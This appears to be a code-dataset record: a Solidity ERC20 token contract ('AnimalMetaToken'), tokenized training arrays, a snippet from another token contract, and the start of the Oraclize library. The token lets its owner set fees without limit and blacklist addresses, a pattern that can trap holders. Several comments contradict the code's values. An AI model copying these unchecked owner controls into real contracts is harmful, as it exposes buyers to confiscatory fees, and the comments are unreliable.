protected]/token/ERC20/IERC20.sol // OpenZeppelin Contracts (last updated v4.5.0) (token/ERC20/IERC20.sol) pragma solidity ^0.8.0; /** * @dev Interface of the ERC20 standard as defined in the EIP. */ interface IERC20 { /** * @dev Returns the amount of tokens in existence. */ function totalSupply() external view returns (uint256); /** * @dev Returns the amount of tokens owned by `account`. */ function balanceOf(address account) external view returns (uint256); /** * @dev Moves `amount` tokens from the caller's account to `to`. * * Returns a boolean value indicating whether the operation succeeded. * * Emits a {Transfer} event. */ function transfer(address to, uint256 amount) external returns (bool); /** * @dev Returns the remaining number of tokens that `spender` will be * allowed to spend on behalf of `owner` through {transferFrom}. This is * zero by default. * * This value changes when {approve} or {transferFrom} are called. */ function allowance(address owner, address spender) external view returns (uint256); /** * @dev Sets `amount` as the allowance of `spender` over the caller's tokens. * * Returns a boolean value indicating whether the operation succeeded. * * IMPORTANT: Beware that changing an allowance with this method brings the risk * that someone may use both the old and the new allowance by unfortunate * transaction ordering. One possible solution to mitigate this race * condition is to first reduce the spender's allowance to 0 and set the * desired value afterwards: * https://github.com/ethereum/EIPs/issues/20#issuecomment-263524729 * * Emits an {Approval} event. */ function approve(address spender, uint256 amount) external returns (bool); /** * @dev Moves `amount` tokens from `from` to `to` using the * allowance mechanism. `amount` is then deducted from the caller's * allowance. * * Returns a boolean value indicating whether the operation succeeded. * * Emits a {Transfer} event. */ function transferFrom( address from, address to, uint256 amount ) external returns (bool); /** * @dev Emitted when `value` tokens are moved from one account (`from`) to * another (`to`). * * Note that `value` may be zero. */ event Transfer(address indexed from, address indexed to, uint256 value); /** * @dev Emitted when the allowance of a `spender` for an `owner` is set by * a call to {approve}. `value` is the new allowance. */ event Approval(address indexed owner, address indexed spender, uint256 value); } // File: @openzeppelin/[email protected]/interfaces/IERC20.sol // OpenZeppelin Contracts v4.4.1 (interfaces/IERC20.sol) pragma solidity ^0.8.0; // File: contracts/Token.sol /* ANIMAL META DAO Website - https://www.animalmetadao.com Telegram - https://t.me/animalmetadao Twitter - https://twitter.com/animalmetad Supply: 100 000 000 (100 million) Buy / Sell Fees: 2.5% Marketing - 2.5% Development - 10% Charity */ pragma solidity ^0.8.0; contract Token is Context, IERC20, Ownable { using SafeMath for uint256; address internal constant WETH = 0xC02aaA39b223FE8D0A0e5C4F27eAD9083C756Cc2; address internal constant uniswap_router_address = 0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D; address internal constant uniswap_factory_address = 0x5C69bEe701ef814a2B6a3EDD4B1652CB9cc5aA6f; mapping(address => uint256) private _balances; mapping(address => mapping(address => uint256)) private _allowances; string private _name = "AnimalMetaToken"; string private _symbol = "AM"; uint8 private _decimals = 9; uint256 public _totalSupply = 1 * 10**8 * 10 **_decimals; uint256 public swapThreshold = _totalSupply.mul(2).div(100); uint256 _maxTx = _totalSupply.mul(2).div(100); //Max tx amount %2 of total supply uint256 _maxWallet = _totalSupply.mul(5).div(100); //Max wallet amount 5% of total supply //FEES uint256 public _fee = 15; uint256 public blacklistFee = 50; //Bots pay 30%, happy sniping :) address payable public devWallet = payable(0xBB6b9cA3F65924dD077Db73480A118E6B6eBf644); //Dev Wallet address payable public marketingWallet = payable(0x75e4745EfaCc997440c8B50b2E6786382C8BD5c2); //DAO wallet address payable public charityWallet = payable(0x037C49a1BFb4f651d0Bb8cf9684dc3E4C6D0F9c1); //Fee division uint256 public _marketingFee = 18; //Swapped to ETH uint256 public _devFee = 15; //Swapped to ETH uint256 public _charityFee = 66; mapping (address => bool) public isTeam; //Exempts addresses from fees mapping (address => bool) public blacklist; bool public initialLiqAdded = false; bool public openTrading = false; bool public blacklistActive = false; IUniswapV2Router02 public router; //Set Router IUniswapV2Factory public factory; //Set Factory address public pair; //Set pair mapping (address => bool) allPairs; bool inSwap; modifier swapActive(){ inSwap = true; _; inSwap = false; } constructor() { router = IUniswapV2Router02(uniswap_router_address); pair = IUniswapV2Factory(router.factory()).createPair(router.WETH(), address(this)); allPairs[pair] = true; isTeam[_msgSender()] = true; isTeam[devWallet] = true; isTeam[address(this)] = true; isTeam[charityWallet] = true; isTeam[marketingWallet] = true; _balances[_msgSender()] = _totalSupply; emit Transfer(address(0), _msgSender(), _totalSupply); } function setMaxTx(uint256 newLimit) public onlyOwner{ _maxTx = newLimit; } function setMaxWallet(uint256 newLimit) public onlyOwner{ _maxWallet = newLimit; } function addPair(address _pair) public onlyOwner { allPairs[_pair] = true; } function addBlacklist(address _address) public onlyOwner{ blacklist[_address] = true; } function addBlacklistMulti(address[] memory _addresses) public onlyOwner{ for( uint i = 0; i < _addresses.length; i++){ blacklist[_addresses[i]] = true; } } function removeBlacklist(address _address) public onlyOwner{ blacklist[_address] = false; } function disableBlacklist() public onlyOwner{ blacklistActive = false; } function takeFee(address from, address recipient, uint256 amount) internal returns (uint256){ uint256 feePercent; if((blacklist[from] && blacklist[from] == true) || (blacklist[recipient] && blacklist[recipient] == true)){ feePercent = blacklistFee; } else{ feePercent = _fee; } uint256 takeAmount = amount.mul(feePercent).div(100); _balances[address(this)] = _balances[address(this)].add(takeAmount); emit Transfer(from, address(this), takeAmount); uint256 finalAmount = amount.sub(takeAmount); return finalAmount; } function setFee(uint256 newFee, uint256 newBFee) public onlyOwner{ _fee = newFee; blacklistFee = newBFee; } function setSubFees(uint256 _marketing, uint256 _dev, uint256 _charity) public onlyOwner { _marketingFee = _marketing; _devFee = _dev; _charityFee = _charity; } function setFeeReceivers(address dev, address marketing, address charity) public onlyOwner { devWallet = payable(dev); marketingWallet = payable(marketing); charityWallet = payable(charity); isTeam[dev] = true; isTeam[marketing] = true; isTeam[charity] = true; } function shouldTakeFee(address sender, address recipient) private view returns (bool) { return (!(isTeam[sender] || isTeam[recipient]) && (sender == pair || recipient == pair)); } function swapBackToETH() private swapActive { uint256 swapAmount = balanceOf(address(this)); address[] memory path = new address[](2); path[0] = address(this); path[1] = router.WETH(); if(_allowances[address(this)][address(router)] != type(uint256).max) { _allowances[address(this)][address(router)] = type(uint256).max; } router.swapExactTokensForETHSupportingFeeOnTransferTokens(swapAmount, 0, path, address(this), block.timestamp); uint256 contractETHAmount = address(this).balance; uint256 devAmount = contractETHAmount.mul(_devFee).div(100); uint256 marketingAmount = contractETHAmount.mul(_marketingFee).div(100); //Send left over to charity uint256 leftOver = contractETHAmount.sub(devAmount); uint256 charityAmount = leftOver.sub(marketingAmount); devWallet.transfer(devAmount); marketingWallet.transfer(marketingAmount); charityWallet.transfer(charityAmount); } function addTeam(address _address) public onlyOwner{ isTeam[_address] = true; return; } function removeTeam(address _address) public onlyOwner{ isTeam[_address] = false; return; } function activateTrading() public onlyOwner{ openTrading = true; } function name() public view virtual returns (string memory) { return _name; } function symbol() public view virtual returns (string memory) { return _symbol; } function decimals() public view virtual returns (uint8) { return _decimals; } function totalSupply() public view virtual override returns (uint256) { return _totalSupply; } function balanceOf(address account) public view virtual override returns (uint256) { return _balances[account]; } function transfer(address recipient, uint256 amount) public virtual override returns (bool) { _transfer(_msgSender(), recipient, amount); return true; } function allowance(address owner, address spender) public view virtual override returns (uint256) { return _allowances[owner][spender]; } function approve(address spender, uint256 amount) public virtual override returns (bool) { _approve(_msgSender(), spender, amount); return true; } function transferFrom( address sender, address recipient, uint256 amount ) public virtual override returns (bool) { _transfer(sender, recipient, amount); uint256 currentAllowance = _allowances[sender][_msgSender()]; require(currentAllowance >= amount, "ERC20: transfer amount exceeds allowance"); unchecked { _approve(sender, _msgSender(), currentAllowance - amount); } return true; } function increaseAllowance(address spender, uint256 addedValue) public virtual returns (bool) { _approve(_msgSender(), spender, _allowances[_msgSender()][spender] + addedValue); return true; } function decreaseAllowance(address spender, uint256 subtractedValue) public virtual returns (bool) { uint256 currentAllowance = _allowances[_msgSender()][spender]; require(currentAllowance >= subtractedValue, "ERC20: decreased allowance below zero"); unchecked { _approve(_msgSender(), spender, currentAllowance - subtractedValue); } return true; } function _transfer( address sender, address recipient, uint256 amount ) internal virtual { require(sender != address(0), "ERC20: transfer from the zero address"); require(recipient != address(0), "ERC20: transfer to the zero address"); require(_balances[sender] >= amount, "ERC20: transfer amount exceeds balance"); if(!isTeam[sender] && !isTeam[recipient]){ //Trading enabled check require(openTrading, "Trading not open yet"); //Max Tx check if(allPairs[sender] || allPairs[recipient]){ require(amount <= _maxTx, "Exceeds max tx amount"); } if(recipient != uniswap_router_address && !allPairs[recipient]){ //Max Wallet check require(balanceOf(recipient) + amount <= _maxWallet, "Exceeds max wallet amount"); } } uint256 finalAmount = amount; if(!(isTeam[sender] || isTeam[recipient])){ finalAmount = takeFee(sender, recipient, amount); } bool shouldSwapBackToETH = (allPairs[recipient] && balanceOf(address(this)) > 0 && !inSwap && !(isTeam[sender] || isTeam[recipient])); //Contract has tokens and tokens are being sold (maybe set swap threshold) if(shouldSwapBackToETH){ swapBackToETH(); } _balances[sender] -= amount; _balances[recipient] += finalAmount; emit Transfer(sender, recipient, finalAmount); } function _mint(address account, uint256 amount) internal virtual { require(account != address(0), "ERC20: mint to the zero address"); _beforeTokenTransfer(address(0), account, amount); _totalSupply += amount; _balances[account] += amount; emit Transfer(address(0), account, amount); _afterTokenTransfer(address(0), account, amount); } function _burn(address account, uint256 amount) internal virtual { require(account != address(0), "ERC20: burn from the zero address"); _beforeTokenTransfer(account, address(0), amount); uint256 accountBalance = _balances[account]; require(accountBalance >= amount, "ERC20: burn amount exceeds balance"); unchecked { _balances[account] = accountBalance - amount; } _totalSupply -= amount; emit Transfer(account, address(0), amount); _afterTokenTransfer(account, address(0), amount); } function _approve( address owner, address spender, uint256 amount ) internal virtual { require(owner != address(0), "ERC20: approve from the zero address"); require(spender != address(0), "ERC20: approve to the zero address"); _allowances[owner][spender] = amount; emit Approval(owner, spender, amount); } function _beforeTokenTransfer( address from, address to, uint256 amount ) internal virtual {} function _afterTokenTransfer( address from, address to, uint256 amount ) internal virtual {} function _basicTransfer(address sender, address recipient, uint256 amount) internal returns (bool) { _balances[sender] = _balances[sender].sub(amount, "Insufficient Balance"); _balances[recipient] = _balances[recipient].add(amount); emit Transfer(sender, recipient, amount); return true; } event Received(address sender, uint amount); receive() external payable { emit Received(msg.sender, msg.value); } }
Contract has tokens and tokens are being sold (maybe set swap threshold)
bool shouldSwapBackToETH = (allPairs[recipient] && balanceOf(address(this)) > 0 && !inSwap && !(isTeam[sender] || isTeam[recipient]));
7,813,234
[ 1, 8924, 711, 2430, 471, 2430, 854, 3832, 272, 1673, 261, 19133, 444, 7720, 5573, 13, 2, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0 ]
[ 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0 ]
[ 1, 3639, 1426, 1410, 12521, 2711, 774, 1584, 44, 273, 261, 454, 10409, 63, 20367, 65, 597, 11013, 951, 12, 2867, 12, 2211, 3719, 405, 374, 597, 401, 267, 12521, 597, 401, 12, 291, 8689, 63, 15330, 65, 747, 353, 8689, 63, 20367, 5717, 1769, 282, 2, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100 ]
./partial_match/1/0x1Ab189c9E5aF1ff034aDd5eB891544bd6b949F2C/sources/EricCryptomanDAO.sol
is the token balance of this contract address over the min number of tokens that we need to initiate a swap + liquidity lock? also, don't get caught in a circular liquidity event. also, don't swap & liquify if sender is uniswap pair.add liquidity and swap for marketing and treasury wallet
function _transfer( address from, address to, uint256 amount ) private { require(from != address(0), "ERC20: transfer from the zero address"); require(amount > 0, "Transfer amount must be greater than zero"); uint256 contractTokenBalance = balanceOf(address(this)); bool overMinTokenBalance = contractTokenBalance >= swapTokensAtAmount; if ( overMinTokenBalance && !inSwapAndLiquify && from != uniswapV2Pair && from != owner() && swapAndLiquifyEnabled ) { contractTokenBalance = swapTokensAtAmount; swapAndLiquify(contractTokenBalance); } }
2,845,685
[ 1, 291, 326, 1147, 11013, 434, 333, 6835, 1758, 1879, 326, 1131, 1300, 434, 2430, 716, 732, 1608, 358, 18711, 279, 7720, 397, 4501, 372, 24237, 2176, 35, 2546, 16, 2727, 1404, 336, 13537, 316, 279, 15302, 4501, 372, 24237, 871, 18, 2546, 16, 2727, 1404, 7720, 473, 4501, 372, 1164, 309, 5793, 353, 640, 291, 91, 438, 3082, 18, 1289, 4501, 372, 24237, 471, 7720, 364, 13667, 310, 471, 9787, 345, 22498, 9230, 2, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0 ]
[ 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0 ]
[ 1, 565, 445, 389, 13866, 12, 203, 3639, 1758, 628, 16, 203, 3639, 1758, 358, 16, 203, 3639, 2254, 5034, 3844, 203, 565, 262, 3238, 288, 203, 3639, 2583, 12, 2080, 480, 1758, 12, 20, 3631, 315, 654, 39, 3462, 30, 7412, 628, 326, 3634, 1758, 8863, 203, 3639, 2583, 12, 8949, 405, 374, 16, 315, 5912, 3844, 1297, 506, 6802, 2353, 3634, 8863, 203, 7010, 3639, 2254, 5034, 6835, 1345, 13937, 273, 11013, 951, 12, 2867, 12, 2211, 10019, 540, 203, 3639, 1426, 1879, 2930, 1345, 13937, 273, 6835, 1345, 13937, 1545, 7720, 5157, 861, 6275, 31, 203, 3639, 309, 261, 203, 5411, 1879, 2930, 1345, 13937, 597, 203, 5411, 401, 267, 12521, 1876, 48, 18988, 1164, 597, 203, 5411, 628, 480, 640, 291, 91, 438, 58, 22, 4154, 597, 203, 5411, 628, 480, 3410, 1435, 597, 203, 5411, 7720, 1876, 48, 18988, 1164, 1526, 203, 3639, 262, 288, 203, 5411, 6835, 1345, 13937, 273, 7720, 5157, 861, 6275, 31, 203, 5411, 7720, 1876, 48, 18988, 1164, 12, 16351, 1345, 13937, 1769, 203, 3639, 289, 203, 3639, 203, 565, 289, 203, 7010, 2, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100 ]
pragma solidity ^0.4.18; // <ORACLIZE_API> /* Copyright (c) 2015-2016 Oraclize SRL Copyright (c) 2016 Oraclize LTD Permission is hereby granted, free of charge, to any person obtaining a copy of this software and associated documentation files (the "Software"), to deal in the Software without restriction, including without limitation the rights to use, copy, modify, merge, publish, distribute, sublicense, and/or sell copies of the Software, and to permit persons to whom the Software is furnished to do so, subject to the following conditions: The above copyright notice and this permission notice shall be included in all copies or substantial portions of the Software. THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY, FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM, OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN THE SOFTWARE. */ contract OraclizeI { address public cbAddress; function query(uint _timestamp, string _datasource, string _arg) payable returns (bytes32 _id); function query_withGasLimit(uint _timestamp, string _datasource, string _arg, uint _gaslimit) payable returns (bytes32 _id); function query2(uint _timestamp, string _datasource, string _arg1, string _arg2) payable returns (bytes32 _id); function query2_withGasLimit(uint _timestamp, string _datasource, string _arg1, string _arg2, uint _gaslimit) payable returns (bytes32 _id); function queryN(uint _timestamp, string _datasource, bytes _argN) payable returns (bytes32 _id); function queryN_withGasLimit(uint _timestamp, string _datasource, bytes _argN, uint _gaslimit) payable returns (bytes32 _id); function getPrice(string _datasource) returns (uint _dsprice); function getPrice(string _datasource, uint gaslimit) returns (uint _dsprice); function useCoupon(string _coupon); function setProofType(byte _proofType); function setConfig(bytes32 _config); function setCustomGasPrice(uint _gasPrice); function randomDS_getSessionPubKeyHash() returns(bytes32); } contract OraclizeAddrResolverI { function getAddress() returns (address _addr); } contract usingOraclize { uint constant day = 60*60*24; uint constant week = 60*60*24*7; uint constant month = 60*60*24*30; byte constant proofType_NONE = 0x00; byte constant proofType_TLSNotary = 0x10; byte constant proofType_Android = 0x20; byte constant proofType_Ledger = 0x30; byte constant proofType_Native = 0xF0; byte constant proofStorage_IPFS = 0x01; uint8 constant networkID_auto = 0; uint8 constant networkID_mainnet = 1; uint8 constant networkID_testnet = 2; uint8 constant networkID_morden = 2; uint8 constant networkID_consensys = 161; OraclizeAddrResolverI OAR; OraclizeI oraclize; modifier oraclizeAPI { if((address(OAR)==0)||(getCodeSize(address(OAR))==0)) oraclize_setNetwork(networkID_auto); if(address(oraclize) != OAR.getAddress()) oraclize = OraclizeI(OAR.getAddress()); _; } modifier coupon(string code){ oraclize = OraclizeI(OAR.getAddress()); oraclize.useCoupon(code); _; } function oraclize_setNetwork(uint8 networkID) internal returns(bool){ if (getCodeSize(0x1d3B2638a7cC9f2CB3D298A3DA7a90B67E5506ed)>0){ //mainnet OAR = OraclizeAddrResolverI(0x1d3B2638a7cC9f2CB3D298A3DA7a90B67E5506ed); oraclize_setNetworkName("eth_mainnet"); return true; } if (getCodeSize(0xc03A2615D5efaf5F49F60B7BB6583eaec212fdf1)>0){ //ropsten testnet OAR = OraclizeAddrResolverI(0xc03A2615D5efaf5F49F60B7BB6583eaec212fdf1); oraclize_setNetworkName("eth_ropsten3"); return true; } if (getCodeSize(0xB7A07BcF2Ba2f2703b24C0691b5278999C59AC7e)>0){ //kovan testnet OAR = OraclizeAddrResolverI(0xB7A07BcF2Ba2f2703b24C0691b5278999C59AC7e); oraclize_setNetworkName("eth_kovan"); return true; } if (getCodeSize(0x146500cfd35B22E4A392Fe0aDc06De1a1368Ed48)>0){ //rinkeby testnet OAR = OraclizeAddrResolverI(0x146500cfd35B22E4A392Fe0aDc06De1a1368Ed48); oraclize_setNetworkName("eth_rinkeby"); return true; } if (getCodeSize(0x6f485C8BF6fc43eA212E93BBF8ce046C7f1cb475)>0){ //ethereum-bridge OAR = OraclizeAddrResolverI(0x6f485C8BF6fc43eA212E93BBF8ce046C7f1cb475); return true; } if (getCodeSize(0x20e12A1F859B3FeaE5Fb2A0A32C18F5a65555bBF)>0){ //ether.camp ide OAR = OraclizeAddrResolverI(0x20e12A1F859B3FeaE5Fb2A0A32C18F5a65555bBF); return true; } if (getCodeSize(0x51efaF4c8B3C9AfBD5aB9F4bbC82784Ab6ef8fAA)>0){ //browser-solidity OAR = OraclizeAddrResolverI(0x51efaF4c8B3C9AfBD5aB9F4bbC82784Ab6ef8fAA); return true; } return false; } function __callback(bytes32 myid, string result) { __callback(myid, result, new bytes(0)); } function __callback(bytes32 myid, string result, bytes proof) { } function oraclize_useCoupon(string code) oraclizeAPI internal { oraclize.useCoupon(code); } function oraclize_getPrice(string datasource) oraclizeAPI internal returns (uint){ return oraclize.getPrice(datasource); } function oraclize_getPrice(string datasource, uint gaslimit) oraclizeAPI internal returns (uint){ return oraclize.getPrice(datasource, gaslimit); } function oraclize_query(string datasource, string arg) oraclizeAPI internal returns (bytes32 id){ uint price = oraclize.getPrice(datasource); if (price > 1 ether + tx.gasprice*200000) return 0; // unexpectedly high price return oraclize.query.value(price)(0, datasource, arg); } function oraclize_query(uint timestamp, string datasource, string arg) oraclizeAPI internal returns (bytes32 id){ uint price = oraclize.getPrice(datasource); if (price > 1 ether + tx.gasprice*200000) return 0; // unexpectedly high price return oraclize.query.value(price)(timestamp, datasource, arg); } function oraclize_query(uint timestamp, string datasource, string arg, uint gaslimit) oraclizeAPI internal returns (bytes32 id){ uint price = oraclize.getPrice(datasource, gaslimit); if (price > 1 ether + tx.gasprice*gaslimit) return 0; // unexpectedly high price return oraclize.query_withGasLimit.value(price)(timestamp, datasource, arg, gaslimit); } function oraclize_query(string datasource, string arg, uint gaslimit) oraclizeAPI internal returns (bytes32 id){ uint price = oraclize.getPrice(datasource, gaslimit); if (price > 1 ether + tx.gasprice*gaslimit) return 0; // unexpectedly high price return oraclize.query_withGasLimit.value(price)(0, datasource, arg, gaslimit); } function oraclize_query(string datasource, string arg1, string arg2) oraclizeAPI internal returns (bytes32 id){ uint price = oraclize.getPrice(datasource); if (price > 1 ether + tx.gasprice*200000) return 0; // unexpectedly high price return oraclize.query2.value(price)(0, datasource, arg1, arg2); } function oraclize_query(uint timestamp, string datasource, string arg1, string arg2) oraclizeAPI internal returns (bytes32 id){ uint price = oraclize.getPrice(datasource); if (price > 1 ether + tx.gasprice*200000) return 0; // unexpectedly high price return oraclize.query2.value(price)(timestamp, datasource, arg1, arg2); } function oraclize_query(uint timestamp, string datasource, string arg1, string arg2, uint gaslimit) oraclizeAPI internal returns (bytes32 id){ uint price = oraclize.getPrice(datasource, gaslimit); if (price > 1 ether + tx.gasprice*gaslimit) return 0; // unexpectedly high price return oraclize.query2_withGasLimit.value(price)(timestamp, datasource, arg1, arg2, gaslimit); } function oraclize_query(string datasource, string arg1, string arg2, uint gaslimit) oraclizeAPI internal returns (bytes32 id){ uint price = oraclize.getPrice(datasource, gaslimit); if (price > 1 ether + tx.gasprice*gaslimit) return 0; // unexpectedly high price return oraclize.query2_withGasLimit.value(price)(0, datasource, arg1, arg2, gaslimit); } function oraclize_query(string datasource, string[] argN) oraclizeAPI internal returns (bytes32 id){ uint price = oraclize.getPrice(datasource); if (price > 1 ether + tx.gasprice*200000) return 0; // unexpectedly high price bytes memory args = stra2cbor(argN); return oraclize.queryN.value(price)(0, datasource, args); } function oraclize_query(uint timestamp, string datasource, string[] argN) oraclizeAPI internal returns (bytes32 id){ uint price = oraclize.getPrice(datasource); if (price > 1 ether + tx.gasprice*200000) return 0; // unexpectedly high price bytes memory args = stra2cbor(argN); return oraclize.queryN.value(price)(timestamp, datasource, args); } function oraclize_query(uint timestamp, string datasource, string[] argN, uint gaslimit) oraclizeAPI internal returns (bytes32 id){ uint price = oraclize.getPrice(datasource, gaslimit); if (price > 1 ether + tx.gasprice*gaslimit) return 0; // unexpectedly high price bytes memory args = stra2cbor(argN); return oraclize.queryN_withGasLimit.value(price)(timestamp, datasource, args, gaslimit); } function oraclize_query(string datasource, string[] argN, uint gaslimit) oraclizeAPI internal returns (bytes32 id){ uint price = oraclize.getPrice(datasource, gaslimit); if (price > 1 ether + tx.gasprice*gaslimit) return 0; // unexpectedly high price bytes memory args = stra2cbor(argN); return oraclize.queryN_withGasLimit.value(price)(0, datasource, args, gaslimit); } function oraclize_query(string datasource, string[1] args) oraclizeAPI internal returns (bytes32 id) { string[] memory dynargs = new string[](1); dynargs[0] = args[0]; return oraclize_query(datasource, dynargs); } function oraclize_query(uint timestamp, string datasource, string[1] args) oraclizeAPI internal returns (bytes32 id) { string[] memory dynargs = new string[](1); dynargs[0] = args[0]; return oraclize_query(timestamp, datasource, dynargs); } function oraclize_query(uint timestamp, string datasource, string[1] args, uint gaslimit) oraclizeAPI internal returns (bytes32 id) { string[] memory dynargs = new string[](1); dynargs[0] = args[0]; return oraclize_query(timestamp, datasource, dynargs, gaslimit); } function oraclize_query(string datasource, string[1] args, uint gaslimit) oraclizeAPI internal returns (bytes32 id) { string[] memory dynargs = new string[](1); dynargs[0] = args[0]; return oraclize_query(datasource, dynargs, gaslimit); } function oraclize_query(string datasource, string[2] args) oraclizeAPI internal returns (bytes32 id) { string[] memory dynargs = new string[](2); dynargs[0] = args[0]; dynargs[1] = args[1]; return oraclize_query(datasource, dynargs); } function oraclize_query(uint timestamp, string datasource, string[2] args) oraclizeAPI internal returns (bytes32 id) { string[] memory dynargs = new string[](2); dynargs[0] = args[0]; dynargs[1] = args[1]; return oraclize_query(timestamp, datasource, dynargs); } function oraclize_query(uint timestamp, string datasource, string[2] args, uint gaslimit) oraclizeAPI internal returns (bytes32 id) { string[] memory dynargs = new string[](2); dynargs[0] = args[0]; dynargs[1] = args[1]; return oraclize_query(timestamp, datasource, dynargs, gaslimit); } function oraclize_query(string datasource, string[2] args, uint gaslimit) oraclizeAPI internal returns (bytes32 id) { string[] memory dynargs = new string[](2); dynargs[0] = args[0]; dynargs[1] = args[1]; return oraclize_query(datasource, dynargs, gaslimit); } function oraclize_query(string datasource, string[3] args) oraclizeAPI internal returns (bytes32 id) { string[] memory dynargs = new string[](3); dynargs[0] = args[0]; dynargs[1] = args[1]; dynargs[2] = args[2]; return oraclize_query(datasource, dynargs); } function oraclize_query(uint timestamp, string datasource, string[3] args) oraclizeAPI internal returns (bytes32 id) { string[] memory dynargs = new string[](3); dynargs[0] = args[0]; dynargs[1] = args[1]; dynargs[2] = args[2]; return oraclize_query(timestamp, datasource, dynargs); } function oraclize_query(uint timestamp, string datasource, string[3] args, uint gaslimit) oraclizeAPI internal returns (bytes32 id) { string[] memory dynargs = new string[](3); dynargs[0] = args[0]; dynargs[1] = args[1]; dynargs[2] = args[2]; return oraclize_query(timestamp, datasource, dynargs, gaslimit); } function oraclize_query(string datasource, string[3] args, uint gaslimit) oraclizeAPI internal returns (bytes32 id) { string[] memory dynargs = new string[](3); dynargs[0] = args[0]; dynargs[1] = args[1]; dynargs[2] = args[2]; return oraclize_query(datasource, dynargs, gaslimit); } function oraclize_query(string datasource, string[4] args) oraclizeAPI internal returns (bytes32 id) { string[] memory dynargs = new string[](4); dynargs[0] = args[0]; dynargs[1] = args[1]; dynargs[2] = args[2]; dynargs[3] = args[3]; return oraclize_query(datasource, dynargs); } function oraclize_query(uint timestamp, string datasource, string[4] args) oraclizeAPI internal returns (bytes32 id) { string[] memory dynargs = new string[](4); dynargs[0] = args[0]; dynargs[1] = args[1]; dynargs[2] = args[2]; dynargs[3] = args[3]; return 